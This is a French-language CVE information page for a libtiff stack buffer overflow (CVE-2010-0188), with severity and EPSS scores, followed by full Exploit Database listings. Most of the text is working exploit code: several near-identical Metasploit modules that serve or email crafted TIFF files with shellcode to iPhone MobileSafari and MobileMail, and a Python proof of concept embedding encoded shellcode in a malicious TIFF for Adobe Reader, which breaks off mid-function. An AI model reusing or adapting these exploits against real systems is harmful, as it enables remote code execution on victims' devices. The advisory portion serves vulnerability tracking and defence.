Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16862
Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Exploit Database EDB-ID : 16868
Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => ""
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Exploit Database EDB-ID : 16869
Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: mobilemail_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileMail LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Stance' => Msf::Exploit::Stance::Passive,
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
'Compat' =>
{
'ConnectionType' => '-bind -find',
},
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def autofilter
false
end
def exploit
exts = ['jpg', 'tiff', 'tif']
gext = exts[rand(exts.length)]
name = rand_text_alpha(rand(10)+1) + ".#{gext}"
data = Rex::Text.rand_text_alpha(rand(32)+1)
tiff = generate_tiff(target)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
def generate_tiff(targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Exploit Database EDB-ID : 21869
Date de publication : 2012-10-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: mobilemail_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 15950 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Stance' => Msf::Exploit::Stance::Passive,
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
'Compat' =>
{
'ConnectionType' => '-bind -find',
},
},
'Arch' => ARCH_ARMLE,
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def autofilter
false
end
def exploit
exts = ['jpg', 'tiff', 'tif']
gext = exts[rand(exts.length)]
name = rand_text_alpha(rand(10)+1) + ".#{gext}"
data = Rex::Text.rand_text_alpha(rand(32)+1)
tiff = generate_tiff(target)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
end
def generate_tiff(targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Exploit Database EDB-ID : 21868
Date de publication : 2012-10-08 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: safari_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 15950 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Arch' => ARCH_ARMLE,
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending exploit")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end
Exploit Database EDB-ID : 11787
Date de publication : 2010-03-16 23h00 +00:00
Auteur : villy
EDB Vérifié : Yes
__doc__='''
Title: Adobe PDF LibTiff Integer Overflow Code Execution.
Product: Adobe Acrobat Reader
Version: <=8.3.0, <=9.3.0
CVE: 2010-0188
Author: villy (villys777 at gmail.com)
Site: http://bugix-security.blogspot.com/
Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3)
------------------------------------------------------------------------
'''
import sys
import base64
import struct
import zlib
import StringIO
SHELLCODE_OFFSET=0x555
TIFF_OFSET=0x2038
# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
buf += "\x09\xc1\x5f\x00"
class CVE20100188Exploit:
def __init__(self,shellcode):
self.shellcode = shellcode
self.tiff64=base64.b64encode(self.gen_tiff())
def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)
tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)
tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
